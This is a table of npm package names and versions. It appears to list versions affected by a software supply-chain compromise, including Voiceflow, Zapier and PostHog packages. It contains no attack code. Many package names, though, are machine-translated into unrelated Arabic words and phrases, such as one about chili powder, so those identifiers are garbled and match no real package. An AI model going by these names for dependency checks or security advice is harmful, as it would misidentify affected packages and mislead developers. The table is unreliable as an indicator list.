| @voiceflow/api-sdk | 3.28.58 ، 3.28.59 |
| @voiceflow/backend-utils | 5.0.2 ، 5.0.1 |
| @voiceflow/أنواع القاعدة | 2.136.3 ، 2.136.2 |
| @voiceflow/محلل الجسم | 1.21.2 ، 1.21.3 |
| @voiceflow/chat-types | 2.14.59 ، 2.14.58 |
| @voiceflow/circleci-config-sdk-orb-import | 0.2.1 ، 0.2.2 |
| @تدفق الصوت/commitتكوين الوبر | 2.6.2 ، 2.6.1 |
| @voiceflow/common | 8.9.1 ، 8.9.2 |
| @voiceflow/default-prompt-wrappers | 1.7.4 ، 1.7.3 |
| @voiceflow/dependency-cruiser-config | 1.8.12 ، 1.8.11 |
| @voiceflow/dtos-interact | 1.40.2 ، 1.40.1 |
| @تدفق الصوت/التشفير | 0.3.3 ، 0.3.2 |
| @voiceflow/eslint-config | 7.16.4 ، 7.16.5 |
| @voiceflow/eslint-plugin | 1.6.2 ، 1.6.1 |
| @voiceflow/استثناء | 1.10.2 ، 1.10.1 |
| @voiceflow/fetch | 1.11.1 ، 1.11.2 |
| @voiceflow/general-types | 3.2.23 ، 3.2.22 |
| @voiceflow/git-branch-check | 1.4.4 ، 1.4.3 |
| @voiceflow/google-dfes-types | 2.17.12 ، 2.17.13 |
| @voiceflow/google-types | 2.21.12 ، 2.21.13 |
| @voiceflow/husky-config | 1.3.1 ، 1.3.2 |
| @voiceflow/logger | 2.4.3 ، 2.4.2 |
| @voiceflow/metrics | 1.5.2 ، 1.5.1 |
| @voiceflow/قائد اللغة الطبيعية | 0.5.2 ، 0.5.3 |
| @voiceflow/nestjs-common | 2.75.2 ، 2.75.3 |
| @voiceflow/nestjs-mongodb | 1.3.1 ، 1.3.2 |
| @voiceflow/nestjs-rate-limit | 1.3.3 ، 1.3.2 |
| @voiceflow/nestjs-redis | 1.3.1 ، 1.3.2 |
| @voiceflow/nestjs-timeout | 1.3.1 ، 1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1 ، 1.1.2 |
| @voiceflow/openai | 3.2.2 ، 3.2.3 |
| @voiceflow/pino | 6.11.4 ، 6.11.3 |
| @voiceflow/pino-pretty | 4.4.2 ، 4.4.1 |
| @voiceflow/prettier-config | 1.10.2 ، 1.10.1 |
| @voiceflow/react-chat | 1.65.4 ، 1.65.3 |
| @voiceflow/runtime | 1.29.1 ، 1.29.2 |
| @voiceflow/runtime-client-js | 1.17.3 ، 1.17.2 |
| @voiceflow/sdk-runtime | 1.43.2 ، 1.43.1 |
| @voiceflow/secrets-provider | 1.9.3 ، 1.9.2 |
| @voiceflow/semantic-release-config | 1.4.2 ، 1.4.1 |
| @voiceflow/المكون الإضافي بدون خادم-typescript | 2.1.7 ، 2.1.8 |
| @voiceflow/slate-serializer | 1.7.4 ، 1.7.3 |
| @voiceflow/stitches-react | 2.3.3 ، 2.3.2 |
| @voiceflow/storybook-config | 1.2.2 ، 1.2.3 |
| @voiceflow/stylelint-config | 1.1.1 ، 1.1.2 |
| @voiceflow/test-common | 2.1.1 ، 2.1.2 |
| @voiceflow/tsconfig | 1.12.2 ، 1.12.1 |
| @voiceflow/tsconfig-paths | 1.1.5 ، 1.1.4 |
| @voiceflow/utils-designer | 1.74.19 ، 1.74.20 |
| @voiceflow/verror | 1.1.5 ، 1.1.4 |
| @voiceflow/vite-config | 2.6.2 ، 2.6.3 |
| @voiceflow/vitest-config | 1.10.3 ، 1.10.2 |
| @voiceflow/voice-types | 2.10.59 ، 2.10.58 |
| @voiceflow/voiceflow-types | 3.32.45 ، 3.32.46 |
| @voiceflow/widget | 1.7.18 ، 1.7.19 |
| @zapier/ai-actions | 0.1.20 ، 0.1.19 ، 0.1.18 |
| @zapier/babel-preset-zapier | 6.4.2 ، 6.4.1 ، 6.4.3 |
| @zapier/browserslist-config-zapier | 1.0.4 ، 1.0.3 ، 1.0.5 |
| @zapier/secret-scrubber | 1.1.5 ، 1.1.4 ، 1.1.3 |
| درع ai-crowl | 1.0.7 |
| قوس-كلي-فك | 1.0.1 |
| معاينة asyncapi | 1.0.2 ، 1.0.1 |
| أتريكس | 1.0.1 |
| نموذج الأتمتة | 1.0.491 |
| منشئ المحاور | 1.2.1 |
| قابل للإلغاء من قبل axios | 1.0.2 ، 1.0.1 |
| توقيت المحور | 1.0.2 ، 1.0.1 |
| barebones-css | 1.1.4 ، 1.1.3 |
| طبعة إطار بنموستين | 1.0.1 |
| أفضلGPIOمراقب | 1.0.10 |
| محول ثنائي الاتجاه | 1.2.2 ، 1.2.4 ، 1.2.5 ، 1.2.3 |
| تنفيذات بلينكيو-cli | 1.0.41 |
| blob-to-base64 | 1.0.3 |
| ملف http الخاص بملحق bun | 0.1.1 |
| مدقق البايت كود-سطر الأوامر | 1.0.11 ، 1.0.8 ، 1.0.9 ، 1.0.10 |
| بايتات إلى x | 1.0.1 |
| حساب فائدة القرض | 1.0.4 |
| مكثف-ملحق-تطبيق-تتبع-ios | 0.0.21 |
| شراء قابس مكثف | 0.1.1 |
| مكثف-ملحق-scgssigninwithgoogle | 0.0.5 |
| تاريخ شراء المكثفات | 0.0.10 |
| مكثف-مسجل-صوت-wav | 6.0.3 |
| تنزيلات ملحقات كروم | 0.0.3 ، 0.0.4 |
| مُحدِّث رمز كلود | 1.0.3 |
| واجهة برمجة تطبيقات coinmarketcap | 3.1.3 ، 3.1.2 |
| الألوان-التعابير العادية | 2.0.1 |
| قيادة-الخطوط الجوية العراقية | 0.5.4 |
| مقارنة-obj | 1.1.1 ، 1.1.2 |
| مُخفِّض مُركَّب | 1.0.4 ، 1.0.3 ، 1.0.2 ، 1.0.5 |
| العد التنازلي | 1.0.2 ، 1.0.1 |
| تعليمات وحدة المعالجة المركزية | 0.0.14 |
| إنشاء تطبيق المخرج | 0.1.1 |
| إنشاء تطبيق غلي | 0.2.3 ، 0.2.2 |
| إنشاء تطبيق Hardhat3 | 1.1.4 ، 1.1.3 ، 1.1.1 ، 1.1.2 |
| برنامج ترميز عنوان التشفير | 0.1.9 |
| css-dedoupe | 0.1.2 |
| dashboardحالة فارغة | 1.0.3 |
| تصميمات ستوديو | 1.0.1 |
| devstart-cli | 1.0.6 |
| تدفق الحوار | 1.1.4 ، 1.1.3 ، 1.1.1 ، 1.1.2 |
| خادم بوت ديسكورد | 0.1.2 |
| مستخلص الفانيليا من ملحق دوكوسوروس | 1.0.3 |
| لا تذهب | 1.1.2 |
| قالب dotnet | 0.0.3 ، 0.0.4 |
| مكون إضافي لإسقاط الأحداث على الممتلكات | 0.0.2 |
| اختبار قابلية توصيل البريد الإلكتروني | 1.1.1 |
| فرض اسم الفرع | 1.1.3 |
| esbuild-plugin-brotli | 0.2.1 |
| esbuild-plugin-eta | 0.1.1 |
| ملف http الخاص بملحق esbuild | 0.4.1 |
| eslint-config-nitpicky | 4.0.1 |
| eslint-config-trigo | 22.0.2 |
| eslint-config-zeallat-base | 1.0.4 |
| إيثريوم-إنس | 0.8.1 |
| evm-checkcode-cli | 1.0.15 ، 1.0.12 ، 1.0.13 ، 1.0.14 |
| شريط الأخبار الدقيق | 0.3.5 |
| جلسة صوتية للمعرض | 0.2.1 |
| قهوة اسبريسو | 1.1.3 |
| ذو أصابع سميكة | 1.0.2 ، 1.0.1 |
| ميزة التقليب | 1.0.2 ، 1.0.1 |
| محرك بحث فايرستور | 1.2.3 |
| فيتكست | 1.0.3 ، 1.0.2 |
| أكوام من الأوراق | 1.0.2 ، 1.0.1 |
| تسطيح-عدم تسطيح | 1.0.2 ، 1.0.1 |
| تركيز خطأ فورميك | 2.0.1 |
| متجر فورميك | 1.0.1 |
| الباحث الضبابي | 1.0.5 ، 1.0.6 |
| بوابة-evm-check-code2 | 2.0.3 ، 2.0.4 ، 2.0.5 ، 2.0.6 |
| اختبار أدوات بوابة EVM | 1.0.7 ، 1.0.8 ، 1.0.5 ، 1.0.6 |
| gatsby-plugin-cname | 1.0.2 ، 1.0.1 |
| مولد-نيزك-مخزون | 0.1.6 |
| مولد كهربائي-إن جي-إيتوبوز | 0.0.15 |
| الحصول على الحجج | 1.3.3 |
| إجراء جيثب للمولد | 2.1.28 ، 2.1.27 |
| جيت سيف | 1.0.5 |
| قالب الذهاب | 0.1.8 ، 0.1.9 |
| بيئات حقن البصق | 1.2.2 ، 1.2.1 |
| عميل واجهة برمجة التطبيقات haufe-axera | 0.0.1 ، 0.0.2 |
| رسم صندوق خريطة الأمل | 0.1.1 |
| رسم الأمل | 1.0.3 |
| نموذج تصميم التحويم | 0.0.5 |
| httpness | 1.0.3 ، 1.0.2 |
| فرط التغطيه | 1.0.3 |
| هايبر تيرم-هيبستر | 1.0.7 |
| ids-css | 1.5.1 |
| معرفات-enterprise-mcp-server | 0.0.2 |
| معرفات-enterprise-ng | 20.1.6 |
| معرفات-enterprise-الكتابات | 20.1.6 |
| صورة إلى URI | 1.0.2 ، 1.0.1 |
| اختيار عشوائي للمكون الإضافي للأرق | 1.0.4 |
| com.invo | 0.2.2 |
| تطبيق الدرع الحديدي المصغر | 0.0.2 |
| زر إيتو | 8.0.3 |
| إيتوبوز-زاوي | 0.0.1 |
| itobuz-angular-auth | 8.0.11 |
| زر إيتوبوز الزاوي | 8.0.11 |
| جاكوب زوما | 1.0.2 ، 1.0.1 |
| jaetut-varit-test | 1.0.2 |
| متصفح جان | 0.13.1 |
| روابط jquery | 1.1.3 ، 1.1.2 |
| جيه سونسورج | 1.0.7 |
| محمص فقط | 1.7.1 |
| منفذ القتل | 2.0.3 ، 2.0.2 |
| كوريا-المنطقة-الإدارة-الجغرافية-json-util | 1.0.7 |
| كوامي | 1.5.9 ، 1.5.10 |
| رموز اللغة | 1.0.2 ، 1.0.1 |
| رخصة-أو-ماتيك | 1.2.2 ، 1.2.1 |
| صورة دقيقة مُعدّلة الوبر | 1.3.1 ، 1.3.2 |
| خادم mcp-lite-serper | 0.2.2 |
| واجهة برمجة التطبيقات القمرية | 1.2.3 |
| واجهة برمجة تطبيقات التطبيق المصغر لنظام الفوترة اليدوي | 1.3.1 |
| إعلان مكون ميدوسا الإضافي | 0.0.3 |
| سجلات مكونات ميدوسا الإضافية | 0.0.17 |
| ميدوسا-بلوجن-مومو | 0.0.68 |
| ميدوسا-بلوجن-منتج-مراجعات-كفي | 0.0.4 |
| ميدوسا-بلوجن-زالوباي | 0.0.40 |
| mod10-check-digit | 1.0.1 |
| حزمة mon-react-typescript | 1.0.1 |
| مكتبتي السعيدة | 0.1.1 |
| n8n-nodes-tmdb | 0.5.1 |
| n8n-nodes-vercel-ai-sdk | 0.1.7 |
| تطبيق n8n-nodes-viral-app | 0.2.5 |
| إعادة ضبط النانو | 7.0.2 ، 7.0.1 |
| التبعية الدائرية التالية | 1.0.3 ، 1.0.2 |
| تحليلات جوجل البسيطة التالية | 1.1.1 ، 1.1.2 |
| التقدم على غرار التالي | 1.0.4 ، 1.0.5 |
| ngx-useful-swiper-prosenjit | 9.0.2 |
| ngx-wooapi | 12.0.1 |
| متجر عادي | 1.3.1 ، 1.3.4 ، 1.3.3 ، 1.3.2 |
| تحويل الكائنات إلى css | 1.0.3 ، 1.0.2 |
| جهاز توجيه أوكتا-رياكت-6 | 5.0.1 |
| مفتوح للإنترنت | 0.1.1 |
| أيقونات صندوق المدار | 2.1.3 |
| أدوات رسم السديم المداري | 1.0.10 |
| محرر سديم المدار | 1.0.2 |
| صابون المدار | 0.43.13 |
| أوركسترا | 12.1.2 |
| مُختبر الحزمة | 1.0.1 |
| ناسخة أصول المكونات الإضافية للطرود | 1.1.3 ، 1.1.2 |
| شرح pdf | 0.0.2 |
| بيكلايت | 1.0.1 |
| بيكو-مُوَحِّد | 1.0.4 ، 1.0.3 |
| ملف pkg-readme | 1.1.1 |
| مجموعة أدوات تطوير البرامج poper-react | 0.1.2 |
| ما بعد الخنزير-الدوكوسوروس | 2.0.6 |
| posthog-js | 1.297.3 |
| عقدة ما بعد الخنزير | 4.18.1 ، 5.13.3 ، 5.11.3 |
| ملحق posthog-مرحبا بالعالم | 1.0.1 |
| تفاعل ما بعد الخنزير الأصلي | 4.11.1 ، 4.12.5 |
| إعادة تشغيل جلسة posthog-react-native | 1.2.2 |
| جدول واحد رئيسي | 0.0.19 |
| موجه-إنج | 1.0.50 |
| متطلبات ضئيلة | 1.0.3 |
| ra-auth-firebase | 1.0.3 |
| قاعدة بيانات ra-data-firebase | 1.0.8 ، 1.0.7 |
| علامات مكونات التفاعل | 0.1.9 |
| رد فعل-البيانات-للتصدير | 1.0.1 |
| مفتش موجه عناصر التفاعل | 0.1.18 |
| رد فعل فافيك | 1.0.2 |
| استمرار نموذج خطاف التفاعل | 3.0.2 ، 3.0.1 |
| أيقونات التفاعل | 1.0.2 ، 1.0.1 |
| سياق مفتاح التفاعل | 1.0.8 ، 1.0.9 |
| إعداد مكتبة رد فعل | 0.0.6 |
| مُحمِّل رد الفعل الخطي | 1.0.2 |
| react-micromodal.js | 1.0.2 ، 1.0.1 |
| نموذج اختيار التاريخ في react-native | 1.3.1 ، 1.3.2 |
| البريد الإلكتروني التفاعلي | 2.1.1 ، 2.1.2 |
| جلب رد فعل أصلي | 2.0.1 ، 2.0.2 |
| الحصول على أبعاد البكسل في React-Native | 1.0.2 ، 1.0.1 |
| اتجاهات خرائط جوجل في React-Native | 2.1.2 |
| أيقونات مربى التفاعل الأصلي | 1.0.2 ، 1.0.1 |
| مستوى سجل React-Native | 1.2.2 ، 1.2.1 |
| مربع اختيار متواضع في React-native | 3.3.1 |
| تخزين متواضع في React-Native | 2.1.1 |
| مكالمة هاتفية باستخدام React-native | 1.2.2 ، 1.2.1 |
| جلب قابل للاستعادة من React-native | 2.0.1 ، 2.0.2 |
| استخدام نموذجي في React-native | 1.0.3 |
| أداة البحث عن المشاهدات في React-Native | 1.2.2 ، 1.2.1 |
| مقبس ويب React-Native | 1.0.4 ، 1.0.3 |
| وظائف Worklet في React-Native | 3.3.3 |
| رد فعل-qr-صورة | 1.1.1 |
| ريديف | 1.0.5 |
| عارض ريديف | 0.0.7 |
| مجموعة أدوات توجيه redux | 1.2.2 ، 1.2.4 ، 1.2.3 |
| ملف http الخاص بالملحق التجميعي | 0.2.1 |
| رقم تسجيل الشركة - التعبير العادي | 1.0.2 ، 1.0.1 |
| سعيد-إيد-جن | 1.0.4 ، 1.0.5 |
| نفس الشيء | 1.0.3 |
| اشتراك مكثف scgs | 1.0.11 |
| scgsffcreator | 1.0.5 |
| مجموعة الدعائم المتداخلة | 2.0.1 ، 2.0.2 |
| جلسات jwt على الرف | 0.1.2 |
| تنفيذي شل | 1.1.4 ، 1.1.3 |
| شينهان-ليميت-سكراب | 1.0.3 |
| استخدام المهارات | 0.1.2 ، 0.1.1 |
| قصص واجهة برمجة تطبيقات سليمان | 1.0.2 |
| سليمان-v3-قصص | 1.15.6 |
| سليمان-v3-ui-wrapper | 1.6.1 |
| فرز حسب المسافة | 2.0.1 |
| معلومات الهوية الجنوب أفريقية | 1.0.2 |
| stat-fns | 1.0.1 |
| يزعج | 2.3.2 |
| بادئة معناها فوقcommit | 1.0.1 |
| تحديد الإكمال التلقائي الأنيق | 1.1.1 |
| نحيف-محمص | 1.1.3 ، 1.1.2 |
| جدول tanstack-shadcn | 1.1.5 |
| ملعقة كبيرة من مسحوق الفلفل الحار | 2.0.2 |
| اختبار رسم tcsp | 1.0.5 |
| اختبار tcsp-vd | 2.4.4 |
| مكتبة القوالب | 1.1.4 ، 1.1.3 |
| قالب خدمة صغيرة | 1.0.3 ، 1.0.2 |
| جلب عنيد | 2.3.3 ، 2.3.2 |
| تطبيق اختبار المسبك | 1.0.4 ، 1.0.3 ، 1.0.2 ، 1.0.1 |
| تطبيق اختبار الخوذة الصلبة | 1.0.4 ، 1.0.3 ، 1.0.2 ، 1.0.1 |
| اختبار 23112222-api | 1.0.1 |
| تيان | 1.0.2 |
| شوكة token.js | 0.7.32 |
| تطبيق trigo-react | 4.1.2 |
| سياج الكتابة | 1.2.2 ، 1.2.3 |
| مدار النوع | 0.2.27 |
| نوع غير آمن | 1.0.4 ، 1.0.3 |
| المرتفعات | 0.5.4 |
| تحميل إلى متجر الألعاب | 1.0.2 ، 1.0.1 |
| ترميز-فك-ترميز عنوان URL | 1.0.2 ، 1.0.1 |
| استخدام التغييرات غير المحفوظة | 1.0.9 |
| هوية جنوب أفريقية صالحة | 1.0.3 |
| قالب vf-oss | 1.0.4 ، 1.0.3 ، 1.0.2 ، 1.0.1 |
| ملف http الخاص بالملحق الإضافي vite | 0.2.1 |
| تحديث متصفح vue-nuxt | 1.0.5 |
| مكشطة الويب-mcp | 1.1.4 |
| أنواع الويب-htmx | 0.1.1 |
| أنواع الويب | 0.1.1 |
| ملف http الخاص بمحمل حزمة الويب | 0.2.1 |
| معرض خبراء العافية | 5.1.1 |
| وينك | 1.0.9 ، 1.0.10 |
| تخزين زابير غير المتزامن | 1.0.3 ، 1.0.2 ، 1.0.1 |
| منصة زابير سطر الأوامر | 18.0.4 ، 18.0.3 ، 18.0.2 |
| منصة زابير الأساسية | 18.0.4 ، 18.0.3 ، 18.0.2 |
| مخطط منصة زابير | 18.0.4 ، 18.0.3 ، 18.0.2 |
| نصوص زابير | 7.8.3 ، 7.8.4 |
| زوبر-كلي | 1.0.1 |
| مجموعة أدوات تطوير برامج زوبر | 1.0.57 |
| تيار زوبر | 2.0.9 |





